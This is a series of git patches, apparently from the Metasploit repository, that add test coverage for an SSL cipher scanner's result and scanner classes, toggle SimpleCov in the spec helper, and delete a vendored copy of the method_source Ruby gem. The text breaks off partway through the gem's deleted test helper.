a/external/source/armitage/whatsnew.txt +++ b/external/source/armitage/whatsnew.txt @@ -8,6 +8,11 @@ Armitage Changelog creating additional connections to server to balance messages over - Preferences are now shared among each Armitage connection. +6 Mar 13 (2000h) +-------- +- Fixed issue with additional team server connections reporting wrong + application and receiving a summary rejection by the team server. + Cortana Updates (for scripters) -------- - Added a &publish, &query, &subscribe API to allow inter-script From d909c0003698120a074fdf5271bb138665de76a4 Mon Sep 17 00:00:00 2001 From: David Maloney Date: Mon, 4 Mar 2013 23:43:18 -0600 Subject: [PATCH 291/341] better spec coverage --- lib/rex/sslscan/result.rb | 6 ++- lib/rex/sslscan/scanner.rb | 2 +- spec/lib/rex/sslscan/result_spec.rb | 60 ++++++++++++++++++++++++----- spec/spec_helper.rb | 2 + 4 files changed, 58 insertions(+), 12 deletions(-) diff --git a/lib/rex/sslscan/result.rb b/lib/rex/sslscan/result.rb index 5399227abf..51068ab5d3 100644 --- a/lib/rex/sslscan/result.rb +++ b/lib/rex/sslscan/result.rb @@ -5,7 +5,7 @@ require 'rex/ui/text/table' module Rex::SSLScan class Result - attr_accessor :sslv2 + attr_accessor :openssl_sslv2 attr_reader :ciphers attr_reader :supported_versions @@ -201,7 +201,9 @@ class Result if @cert text <<" \n\n #{@cert.to_text}" end - text << "\n\n *** WARNING: Your OS hates freedom! Your OpenSSL libs are compiled without SSLv2 support!" + if openssl_sslv2 == false + text << "\n\n *** WARNING: Your OS hates freedom! Your OpenSSL libs are compiled without SSLv2 support!" + end text end end diff --git a/lib/rex/sslscan/scanner.rb b/lib/rex/sslscan/scanner.rb index a7e71da249..5e49cfbd2d 100644 --- a/lib/rex/sslscan/scanner.rb +++ b/lib/rex/sslscan/scanner.rb @@ -51,7 +51,7 @@ class Scanner # @return [Result] object containing the details of the scan def scan scan_result = Rex::SSLScan::Result.new - scan_result.sslv2 = sslv2 + scan_result.openssl_sslv2 = sslv2 # If we can't get any SSL connection, then don't bother testing # individual ciphers. if test_ssl == :rejected and test_tls == :rejected diff --git a/spec/lib/rex/sslscan/result_spec.rb b/spec/lib/rex/sslscan/result_spec.rb index 955a256b7b..e7c404a71b 100644 --- a/spec/lib/rex/sslscan/result_spec.rb +++ b/spec/lib/rex/sslscan/result_spec.rb @@ -46,7 +46,7 @@ describe Rex::SSLScan::Result do end it "should return an empty array for #tlsv1" do - subject.sslv2.should == [] + subject.tlsv1.should == [] end it "should return an empty array for #weak_ciphers" do @@ -469,16 +469,58 @@ describe Rex::SSLScan::Result do end end - context "when OpenSSL is compiled without SSLv2" do - before(:each) do - subject.add_cipher(:SSLv3, "AES256-SHA", 256, :accepted) - subject.add_cipher(:TLSv1, "AES256-SHA", 256, :accepted) - subject.add_cipher(:SSLv3, "AES128-SHA", 128, :accepted) - subject.sslv2 = false + context "when printing the results" do + context "when OpenSSL is compiled without SSLv2" do + before(:each) do + subject.add_cipher(:SSLv3, "AES256-SHA", 256, :accepted) + subject.add_cipher(:TLSv1, "AES256-SHA", 256, :accepted) + subject.add_cipher(:SSLv3, "AES128-SHA", 128, :accepted) + subject.openssl_sslv2 = false + end + it "should warn the user" do + subject.to_s.should include "*** WARNING: Your OS hates freedom! Your OpenSSL libs are compiled without SSLv2 support!" + end end - it "should warn the user" do - subject.to_s.should include "*** WARNING: Your OS hates freedom! Your OpenSSL libs are compiled without SSLv2 support!" + + context "when we have SSL results" do + before(:each) do + subject.add_cipher(:SSLv3, "AES256-SHA", 256, :accepted) + subject.add_cipher(:TLSv1, "AES256-SHA", 256, :accepted) + subject.add_cipher(:SSLv3, "AES128-SHA", 128, :accepted) + subject.add_cipher(:SSLv3, "EXP-RC2-CBC-MD5", 40, :accepted) + + cert = OpenSSL::X509::Certificate.new + key = OpenSSL::PKey::RSA.new 2048 + cert.version = 2 # + cert.serial = 1 + cert.subject = OpenSSL::X509::Name.parse "/DC=org/DC=ruby-lang/CN=Ruby CA" + cert.issuer = cert.subject + cert.public_key = key.public_key + cert.not_before = Time.now + cert.not_after = cert.not_before + 2 * 365 * 24 * 60 * 60 # 2 + + subject.cert = cert + end + + it "should contain the certificate" do + subject.to_s.should include "Issuer: DC=org, DC=ruby-lang, CN=Ruby CA" + subject.to_s.should include "Subject: DC=org, DC=ruby-lang, CN=Ruby CA" + end + + it "should have a table with our SSL Cipher Results" do + subject.to_s.should include "Accepted * SSLv3 40 EXP-RC2-CBC-MD5" + subject.to_s.should include "Accepted SSLv3 128 AES128-SHA" + subject.to_s.should include "Accepted SSLv3 256 AES256-SHA" + subject.to_s.should include "Accepted TLSv1 256 AES256-SHA" + end end + + it "should return an appropriate message when SSL is not supported" do + subject.stub(:supports_ssl?).and_return(false) + subject.to_s.should == "Server does not appear to support SSL on this port!" + end + + end end \ No newline at end of file diff --git a/spec/spec_helper.rb b/spec/spec_helper.rb index 23c7b0778f..27bbefda15 100644 --- a/spec/spec_helper.rb +++ b/spec/spec_helper.rb @@ -1,7 +1,9 @@ +require 'simplecov' require 'rubygems' require 'bundler' Bundler.setup(:default, :test) +SimpleCov.start # add project lib directory to load path spec_pathname = Pathname.new(__FILE__).dirname root_pathname = spec_pathname.join('..').expand_path From 6eb334c9250ce33e437ca554e5ad8510a2407720 Mon Sep 17 00:00:00 2001 From: David Maloney Date: Tue, 5 Mar 2013 00:01:09 -0600 Subject: [PATCH 292/341] a little more coverage --- lib/rex/sslscan/scanner.rb | 2 +- spec/lib/rex/sslscan/scanner_spec.rb | 16 ++++++++++++++++ 2 files changed, 17 insertions(+), 1 deletion(-) diff --git a/lib/rex/sslscan/scanner.rb b/lib/rex/sslscan/scanner.rb index 5e49cfbd2d..3cd191152b 100644 --- a/lib/rex/sslscan/scanner.rb +++ b/lib/rex/sslscan/scanner.rb @@ -23,7 +23,7 @@ class Scanner @port = port @timeout = timeout @context = context - if check_opensslv2 + if check_opensslv2 == true @supported_versions = [:SSLv2, :SSLv3, :TLSv1] @sslv2 = true else diff --git a/spec/lib/rex/sslscan/scanner_spec.rb b/spec/lib/rex/sslscan/scanner_spec.rb index f629069e8f..5ea65b3ebf 100644 --- a/spec/lib/rex/sslscan/scanner_spec.rb +++ b/spec/lib/rex/sslscan/scanner_spec.rb @@ -85,6 +85,22 @@ describe Rex::SSLScan::Scanner do result = subject.scan result.class.should == Rex::SSLScan::Result end + + context "if SSLv2 is not available locally" do + before(:each) do + subject.stub(:check_opensslv2).and_return(false) + subject.send(:initialize, 'google.com', 443) + end + it "should mark SSLv2 as unsupported" do + subject.supported_versions.should_not include :SSLv2 + subject.sslv2.should == false + end + + it "should not test any SSLv2 ciphers" do + res = subject.scan + res.sslv2.should == [] + end + end end end \ No newline at end of file From f253b28ae07c703c4c4091c243e40acbbc63ffba Mon Sep 17 00:00:00 2001 From: David Maloney Date: Tue, 5 Mar 2013 07:48:07 -0600 Subject: [PATCH 293/341] sponge left in patient --- spec/spec_helper.rb | 2 -- 1 file changed, 2 deletions(-) diff --git a/spec/spec_helper.rb b/spec/spec_helper.rb index 27bbefda15..23c7b0778f 100644 --- a/spec/spec_helper.rb +++ b/spec/spec_helper.rb @@ -1,9 +1,7 @@ -require 'simplecov' require 'rubygems' require 'bundler' Bundler.setup(:default, :test) -SimpleCov.start # add project lib directory to load path spec_pathname = Pathname.new(__FILE__).dirname root_pathname = spec_pathname.join('..').expand_path From c639de7ccc2806110e30530aec1a689a8b293964 Mon Sep 17 00:00:00 2001 From: David Maloney Date: Tue, 5 Mar 2013 12:33:37 -0600 Subject: [PATCH 294/341] fix a major typo snaffu --- .../1.9.1/gems/method_source-0.7.1/.gemtest | 0 .../gems/method_source-0.7.1/.travis.yml | 17 -- .../1.9.1/gems/method_source-0.7.1/.yardopts | 1 - .../1.9.1/gems/method_source-0.7.1/Gemfile | 2 - .../1.9.1/gems/method_source-0.7.1/LICENSE | 25 --- .../gems/method_source-0.7.1/README.markdown | 91 ---------- .../1.9.1/gems/method_source-0.7.1/Rakefile | 76 -------- .../method_source-0.7.1/lib/method_source.rb | 163 ------------------ .../lib/method_source/source_location.rb | 138 --------------- .../lib/method_source/version.rb | 3 - .../method_source-0.7.1/method_source.gemspec | 33 ---- .../gems/method_source-0.7.1/test/test.rb | 122 ------------- .../method_source-0.7.1/test/test_helper.rb | 50 ------ lib/msf/core/auxiliary/web/http.rb | 7 +- 14 files changed, 3 insertions(+), 725 deletions(-) delete mode 100644 lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/.gemtest delete mode 100644 lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/.travis.yml delete mode 100644 lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/.yardopts delete mode 100644 lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/Gemfile delete mode 100644 lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/LICENSE delete mode 100644 lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/README.markdown delete mode 100644 lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/Rakefile delete mode 100644 lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/lib/method_source.rb delete mode 100644 lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/lib/method_source/source_location.rb delete mode 100644 lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/lib/method_source/version.rb delete mode 100644 lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/method_source.gemspec delete mode 100644 lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/test/test.rb delete mode 100644 lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/test/test_helper.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/.gemtest b/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/.gemtest deleted file mode 100644 index e69de29bb2..0000000000 diff --git a/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/.travis.yml b/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/.travis.yml deleted file mode 100644 index ba51bba6b2..0000000000 --- a/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/.travis.yml +++ /dev/null @@ -1,17 +0,0 @@ -rvm: - - 1.8.7 - - 1.9.2 - - 1.9.3 - - ree - - rbx-18mode - - rbx-19mode - - jruby - -notifications: - irc: "irc.freenode.org#pry" - recipients: - - jrmair@gmail.com - -branches: - only: - - master diff --git a/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/.yardopts b/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/.yardopts deleted file mode 100644 index a4e7838016..0000000000 --- a/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/.yardopts +++ /dev/null @@ -1 +0,0 @@ --m markdown diff --git a/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/Gemfile b/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/Gemfile deleted file mode 100644 index e45e65f871..0000000000 --- a/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/Gemfile +++ /dev/null @@ -1,2 +0,0 @@ -source :rubygems -gemspec diff --git a/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/LICENSE b/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/LICENSE deleted file mode 100644 index d1a50d62d0..0000000000 --- a/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/LICENSE +++ /dev/null @@ -1,25 +0,0 @@ -License -------- - -(The MIT License) - -Copyright (c) 2011 John Mair (banisterfiend) - -Permission is hereby granted, free of charge, to any person obtaining -a copy of this software and associated documentation files (the -'Software'), to deal in the Software without restriction, including -without limitation the rights to use, copy, modify, merge, publish, -distribute, sublicense, and/or sell copies of the Software, and to -permit persons to whom the Software is furnished to do so, subject to -the following conditions: - -The above copyright notice and this permission notice shall be -included in all copies or substantial portions of the Software. - -THE SOFTWARE IS PROVIDED 'AS IS', WITHOUT WARRANTY OF ANY KIND, -EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF -MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. -IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY -CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, -TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE -SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. diff --git a/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/README.markdown b/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/README.markdown deleted file mode 100644 index d91b810a3b..0000000000 --- a/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/README.markdown +++ /dev/null @@ -1,91 +0,0 @@ -method_source -============= - -(C) John Mair (banisterfiend) 2011 - -_retrieve the sourcecode for a method_ - -*NOTE:* This simply utilizes `Method#source_location`; it - does not access the live AST. - -`method_source` is a utility to return a method's sourcecode as a -Ruby string. Also returns `Proc` and `Lambda` sourcecode. - -Method comments can also be extracted using the `comment` method. - -It is written in pure Ruby (no C). - -* Some Ruby 1.8 support now available. -* Support for MRI, RBX, JRuby, REE - -`method_source` provides the `source` and `comment` methods to the `Method` and -`UnboundMethod` and `Proc` classes. - -* Install the [gem](https://rubygems.org/gems/method_source): `gem install method_source` -* Read the [documentation](http://rdoc.info/github/banister/method_source/master/file/README.markdown) -* See the [source code](http://github.com/banister/method_source) - -Example: display method source ------------------------------- - - Set.instance_method(:merge).source.display - # => - def merge(enum) - if enum.instance_of?(self.class) - @hash.update(enum.instance_variable_get(:@hash)) - else - do_with_enum(enum) { |o| add(o) } - end - - self - end - -Example: display method comments --------------------------------- - - Set.instance_method(:merge).comment.display - # => - # Merges the elements of the given enumerable object to the set and - # returns self. - -Limitations: ------------- - -* Occasional strange behaviour in Ruby 1.8 -* Cannot return source for C methods. -* Cannot return source for dynamically defined methods. - -Special Thanks --------------- - -[Adam Sanderson](https://github.com/adamsanderson) for `comment` functionality. - -[Dmitry Elastic](https://github.com/dmitryelastic) for the brilliant Ruby 1.8 `source_location` hack. - -[Samuel Kadolph](https://github.com/samuelkadolph) for the JRuby 1.8 `source_location`. - -License -------- - -(The MIT License) - -Copyright (c) 2011 John Mair (banisterfiend) - -Permission is hereby granted, free of charge, to any person obtaining -a copy of this software and associated documentation files (the -'Software'), to deal in the Software without restriction, including -without limitation the rights to use, copy, modify, merge, publish, -distribute, sublicense, and/or sell copies of the Software, and to -permit persons to whom the Software is furnished to do so, subject to -the following conditions: - -The above copyright notice and this permission notice shall be -included in all copies or substantial portions of the Software. - -THE SOFTWARE IS PROVIDED 'AS IS', WITHOUT WARRANTY OF ANY KIND, -EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF -MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. -IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY -CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, -TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE -SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. diff --git a/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/Rakefile b/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/Rakefile deleted file mode 100644 index 92c0234f3b..0000000000 --- a/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/Rakefile +++ /dev/null @@ -1,76 +0,0 @@ -dlext = Config::CONFIG['DLEXT'] -direc = File.dirname(__FILE__) - -require 'rake/clean' -require 'rake/gempackagetask' -require "#{direc}/lib/method_source/version" - -CLOBBER.include("**/*.#{dlext}", "**/*~", "**/*#*", "**/*.log", "**/*.o") -CLEAN.include("ext/**/*.#{dlext}", "ext/**/*.log", "ext/**/*.o", - "ext/**/*~", "ext/**/*#*", "ext/**/*.obj", "**/*.rbc", - "ext/**/*.def", "ext/**/*.pdb", "**/*_flymake*.*", "**/*_flymake") - -def apply_spec_defaults(s) - s.name = "method_source" - s.summary = "retrieve the sourcecode for a method" - s.version = MethodSource::VERSION - s.date = Time.now.strftime '%Y-%m-%d' - s.author = "John Mair (banisterfiend)" - s.email = 'jrmair@gmail.com' - s.description = s.summary - s.require_path = 'lib' - - s.add_development_dependency("bacon","~>1.1.0") - s.add_development_dependency("rake", "~>0.9") - s.homepage = "http://banisterfiend.wordpress.com" - s.has_rdoc = 'yard' - s.files = `git ls-files`.split("\n") - s.test_files = `git ls-files -- test/*`.split("\n") -end - -task :test do - sh "bacon -q #{direc}/test/test.rb" -end - -desc "reinstall gem" -task :reinstall => :gems do - sh "gem uninstall method_source" rescue nil - sh "gem install #{direc}/pkg/method_source-#{MethodSource::VERSION}.gem" -end - -desc "Set up and run tests" -task :default => [:test] - -namespace :ruby do - spec = Gem::Specification.new do |s| - apply_spec_defaults(s) - s.platform = Gem::Platform::RUBY - end - - Rake::GemPackageTask.new(spec) do |pkg| - pkg.need_zip = false - pkg.need_tar = false - end - - desc "Generate gemspec file" - task :gemspec do - File.open("#{spec.name}.gemspec", "w") do |f| - f << spec.to_ruby - end - end -end - -desc "build all platform gems at once" -task :gems => [:rmgems, "ruby:gem"] - -desc "remove all platform gems" -task :rmgems => ["ruby:clobber_package"] - -desc "build and push latest gems" -task :pushgems => :gems do - chdir("#{direc}/pkg") do - Dir["*.gem"].each do |gemfile| - sh "gem push #{gemfile}" - end - end -end diff --git a/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/lib/method_source.rb b/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/lib/method_source.rb deleted file mode 100644 index 9a3c325f75..0000000000 --- a/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/lib/method_source.rb +++ /dev/null @@ -1,163 +0,0 @@ -# (C) John Mair (banisterfiend) 2011 -# MIT License - -direc = File.dirname(__FILE__) - -require "#{direc}/method_source/version" -require "#{direc}/method_source/source_location" - -module MethodSource - # Determine if a string of code is a valid Ruby expression. - # @param [String] code The code to validate. - # @return [Boolean] Whether or not the code is a valid Ruby expression. - # @example - # valid_expression?("class Hello") #=> false - # valid_expression?("class Hello; end") #=> true - def self.valid_expression?(str) - if defined?(Rubinius::Melbourne19) && RUBY_VERSION =~ /^1\.9/ - Rubinius::Melbourne19.parse_string(str) - elsif defined?(Rubinius::Melbourne) - Rubinius::Melbourne.parse_string(str) - else - catch(:valid) { - eval("BEGIN{throw :valid}\n#{str}") - } - end - true - rescue SyntaxError - false - end - - # Helper method responsible for extracting method body. - # Defined here to avoid polluting `Method` class. - # @param [Array] source_location The array returned by Method#source_location - # @return [File] The opened source file - def self.source_helper(source_location) - return nil if !source_location.is_a?(Array) - - file_name, line = source_location - File.open(file_name) do |file| - (line - 1).times { file.readline } - - code = "" - loop do - val = file.readline - code << val - - return code if valid_expression?(code) - end - end - end - - # Helper method responsible for opening source file and buffering up - # the comments for a specified method. Defined here to avoid polluting - # `Method` class. - # @param [Array] source_location The array returned by Method#source_location - # @return [String] The comments up to the point of the method. - def self.comment_helper(source_location) - return nil if !source_location.is_a?(Array) - - file_name, line = source_location - File.open(file_name) do |file| - buffer = "" - (line - 1).times do - line = file.readline - # Add any line that is a valid ruby comment, - # but clear as soon as we hit a non comment line. - if (line =~ /^\s*#/) || (line =~ /^\s*$/) - buffer << line.lstrip - else - buffer.replace("") - end - end - - buffer - end - end - - # This module is to be included by `Method` and `UnboundMethod` and - # provides the `#source` functionality - module MethodExtensions - - # We use the included hook to patch Method#source on rubinius. - # We need to use the included hook as Rubinius defines a `source` - # on Method so including a module will have no effect (as it's - # higher up the MRO). - # @param [Class] klass The class that includes the module. - def self.included(klass) - if klass.method_defined?(:source) && Object.const_defined?(:RUBY_ENGINE) && - RUBY_ENGINE =~ /rbx/ - - klass.class_eval do - orig_source = instance_method(:source) - - define_method(:source) do - begin - super - rescue - orig_source.bind(self).call - end - end - - end - end - end - - # Return the sourcecode for the method as a string - # (This functionality is only supported in Ruby 1.9 and above) - # @return [String] The method sourcecode as a string - # @example - # Set.instance_method(:clear).source.display - # => - # def clear - # @hash.clear - # self - # end - def source - if respond_to?(:source_location) - source = MethodSource.source_helper(source_location) - - raise "Cannot locate source for this method: #{name}" if !source - else - raise "#{self.class}#source not supported by this Ruby version (#{RUBY_VERSION})" - end - - source - end - - # Return the comments associated with the method as a string. - # (This functionality is only supported in Ruby 1.9 and above) - # @return [String] The method's comments as a string - # @example - # Set.instance_method(:clear).comment.display - # => - # # Removes all elements and returns self. - def comment - if respond_to?(:source_location) - comment = MethodSource.comment_helper(source_location) - - raise "Cannot locate source for this method: #{name}" if !comment - else - raise "#{self.class}#comment not supported by this Ruby version (#{RUBY_VERSION})" - end - - comment - end - end -end - -class Method - include MethodSource::SourceLocation::MethodExtensions - include MethodSource::MethodExtensions -end - -class UnboundMethod - include MethodSource::SourceLocation::UnboundMethodExtensions - include MethodSource::MethodExtensions -end - -class Proc - include MethodSource::SourceLocation::ProcExtensions - include MethodSource::MethodExtensions -end - diff --git a/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/lib/method_source/source_location.rb b/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/lib/method_source/source_location.rb deleted file mode 100644 index 9161854819..0000000000 --- a/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/lib/method_source/source_location.rb +++ /dev/null @@ -1,138 +0,0 @@ -module MethodSource - module ReeSourceLocation - # Ruby enterprise edition provides all the information that's - # needed, in a slightly different way. - def source_location - [__file__, __line__] rescue nil - end - end - - module SourceLocation - module MethodExtensions - if Proc.method_defined? :__file__ - include ReeSourceLocation - - elsif defined?(RUBY_ENGINE) && RUBY_ENGINE =~ /jruby/ - require 'java' - - # JRuby version source_location hack - # @return [Array] A two element array containing the source location of the method - def source_location - to_java.source_location(Thread.current.to_java.getContext()) - end - else - - - def trace_func(event, file, line, id, binding, classname) - return unless event == 'call' - set_trace_func nil - - @file, @line = file, line - raise :found - end - - private :trace_func - - # Return the source location of a method for Ruby 1.8. - # @return [Array] A two element array. First element is the - # file, second element is the line in the file where the - # method definition is found. - def source_location - if @file.nil? - args =[*(1..(arity<-1 ? -arity-1 : arity ))] - - set_trace_func method(:trace_func).to_proc - call(*args) rescue nil - set_trace_func nil - @file = File.expand_path(@file) if @file && File.exist?(File.expand_path(@file)) - end - return [@file, @line] if File.exist?(@file.to_s) - end - end - end - - module ProcExtensions - if Proc.method_defined? :__file__ - include ReeSourceLocation - - elsif defined?(RUBY_ENGINE) && RUBY_ENGINE =~ /rbx/ - - # Return the source location for a Proc (Rubinius only) - # @return [Array] A two element array. First element is the - # file, second element is the line in the file where the - # proc definition is found. - def source_location - [block.file.to_s, block.line] - end - else - - # Return the source location for a Proc (in implementations - # without Proc#source_location) - # @return [Array] A two element array. First element is the - # file, second element is the line in the file where the - # proc definition is found. - def source_location - self.to_s =~ /@(.*):(\d+)/ - [$1, $2.to_i] - end - end - end - - module UnboundMethodExtensions - if Proc.method_defined? :__file__ - include ReeSourceLocation - - elsif defined?(RUBY_ENGINE) && RUBY_ENGINE =~ /jruby/ - require 'java' - - # JRuby version source_location hack - # @return [Array] A two element array containing the source location of the method - def source_location - to_java.source_location(Thread.current.to_java.getContext()) - end - - else - - - # Return the source location of an instance method for Ruby 1.8. - # @return [Array] A two element array. First element is the - # file, second element is the line in the file where the - # method definition is found. - def source_location - klass = case owner - when Class - owner - when Module - method_owner = owner - Class.new { include(method_owner) } - end - - # deal with immediate values - case - when klass == Symbol - return :a.method(name).source_location - when klass == Fixnum - return 0.method(name).source_location - when klass == TrueClass - return true.method(name).source_location - when klass == FalseClass - return false.method(name).source_location - when klass == NilClass - return nil.method(name).source_location - end - - begin - Object.instance_method(:method).bind(klass.allocate).call(name).source_location - rescue TypeError - - # Assume we are dealing with a Singleton Class: - # 1. Get the instance object - # 2. Forward the source_location lookup to the instance - instance ||= ObjectSpace.each_object(owner).first - Object.instance_method(:method).bind(instance).call(name).source_location - end - end - end - end - end -end diff --git a/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/lib/method_source/version.rb b/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/lib/method_source/version.rb deleted file mode 100644 index b8142bfaef..0000000000 --- a/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/lib/method_source/version.rb +++ /dev/null @@ -1,3 +0,0 @@ -module MethodSource - VERSION = "0.7.1" -end diff --git a/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/method_source.gemspec b/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/method_source.gemspec deleted file mode 100644 index 83a727d6f6..0000000000 --- a/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/method_source.gemspec +++ /dev/null @@ -1,33 +0,0 @@ -# -*- encoding: utf-8 -*- - -Gem::Specification.new do |s| - s.name = "method_source" - s.version = "0.7.0" - - s.required_rubygems_version = Gem::Requirement.new(">= 0") if s.respond_to? :required_rubygems_version= - s.authors = ["John Mair (banisterfiend)"] - s.date = "2012-01-01" - s.description = "retrieve the sourcecode for a method" - s.email = "jrmair@gmail.com" - s.files = [".gemtest", ".travis.yml", ".yardopts", "Gemfile", "LICENSE", "README.markdown", "Rakefile", "lib/method_source.rb", "lib/method_source/source_location.rb", "lib/method_source/version.rb", "method_source.gemspec", "test/test.rb", "test/test_helper.rb"] - s.homepage = "http://banisterfiend.wordpress.com" - s.require_paths = ["lib"] - s.rubygems_version = "1.8.10" - s.summary = "retrieve the sourcecode for a method" - s.test_files = ["test/test.rb", "test/test_helper.rb"] - - if s.respond_to? :specification_version then - s.specification_version = 3 - - if Gem::Version.new(Gem::VERSION) >= Gem::Version.new('1.2.0') then - s.add_development_dependency(%q, ["~> 1.1.0"]) - s.add_development_dependency(%q, ["~> 0.9"]) - else - s.add_dependency(%q, ["~> 1.1.0"]) - s.add_dependency(%q, ["~> 0.9"]) - end - else - s.add_dependency(%q, ["~> 1.1.0"]) - s.add_dependency(%q, ["~> 0.9"]) - end -end diff --git a/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/test/test.rb b/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/test/test.rb deleted file mode 100644 index 425e56acf9..0000000000 --- a/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/test/test.rb +++ /dev/null @@ -1,122 +0,0 @@ -direc = File.dirname(__FILE__) - -require 'rubygems' -require 'bacon' -require "#{direc}/../lib/method_source" -require "#{direc}/test_helper" - -describe MethodSource do - - describe "source_location (testing 1.8 implementation)" do - it 'should return correct source_location for a method' do - method(:hello).source_location.first.should =~ /test_helper/ - end - - it 'should not raise for immediate instance methods' do - [Symbol, Fixnum, TrueClass, FalseClass, NilClass].each do |immediate_class| - lambda { immediate_class.instance_method(:to_s).source_location }.should.not.raise - end - end - - it 'should not raise for immediate methods' do - [:a, 1, true, false, nil].each do |immediate| - lambda { immediate.method(:to_s).source_location }.should.not.raise - end - end - end - - before do - @hello_module_source = " def hello; :hello_module; end\n" - @hello_singleton_source = "def $o.hello; :hello_singleton; end\n" - @hello_source = "def hello; :hello; end\n" - @hello_comment = "# A comment for hello\n# It spans two lines and is indented by 2 spaces\n" - @lambda_comment = "# This is a comment for MyLambda\n" - @lambda_source = "MyLambda = lambda { :lambda }\n" - @proc_source = "MyProc = Proc.new { :proc }\n" - end - - it 'should define methods on Method and UnboundMethod and Proc' do - Method.method_defined?(:source).should == true - UnboundMethod.method_defined?(:source).should == true - Proc.method_defined?(:source).should == true - end - - describe "Methods" do - it 'should return source for method' do - method(:hello).source.should == @hello_source - end - - it 'should return source for a method defined in a module' do - M.instance_method(:hello).source.should == @hello_module_source - end - - it 'should return source for a singleton method as an instance method' do - class << $o; self; end.instance_method(:hello).source.should == @hello_singleton_source - end - - it 'should return source for a singleton method' do - $o.method(:hello).source.should == @hello_singleton_source - end - - - it 'should return a comment for method' do - method(:hello).comment.should == @hello_comment - end - - - if !is_rbx? - it 'should raise for C methods' do - lambda { method(:puts).source }.should.raise RuntimeError - end - end - end - - # if RUBY_VERSION =~ /1.9/ || is_rbx? - describe "Lambdas and Procs" do - it 'should return source for proc' do - MyProc.source.should == @proc_source - end - - it 'should return an empty string if there is no comment' do - MyProc.comment.should == '' - end - - it 'should return source for lambda' do - MyLambda.source.should == @lambda_source - end - - it 'should return comment for lambda' do - MyLambda.comment.should == @lambda_comment - end - end - # end - describe "Comment tests" do - before do - @comment1 = "# a\n# b\n" - @comment2 = "# a\n# b\n" - @comment3 = "# a\n#\n# b\n" - @comment4 = "# a\n# b\n" - @comment5 = "# a\n# b\n# c\n# d\n" - end - - it "should correctly extract multi-line comments" do - method(:comment_test1).comment.should == @comment1 - end - - it "should correctly strip leading whitespace before comments" do - method(:comment_test2).comment.should == @comment2 - end - - it "should keep empty comment lines" do - method(:comment_test3).comment.should == @comment3 - end - - it "should ignore blank lines between comments" do - method(:comment_test4).comment.should == @comment4 - end - - it "should align all comments to same indent level" do - method(:comment_test5).comment.should == @comment5 - end - end -end diff --git a/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/test/test_helper.rb b/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/test/test_helper.rb deleted file mode 100644 index 53da4e519c..0000000000 --- a/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/test/test_helper.rb +++ /dev/null @@ -1,50 +0,0 @@ -def is_rbx? - defined?(RUBY_ENGINE) && RUBY_ENGINE =~ /rbx/ -end - -def jruby? - defined?(RUBY_ENGINE) && RUBY_ENGINE =~ /jruby/ -end - - -module M - def hello; :hello_module; end -end - -$o = Object.new -def $o.hello; :hello_singleton; end - -# A comment for hello - - # It spans two lines and is indented by 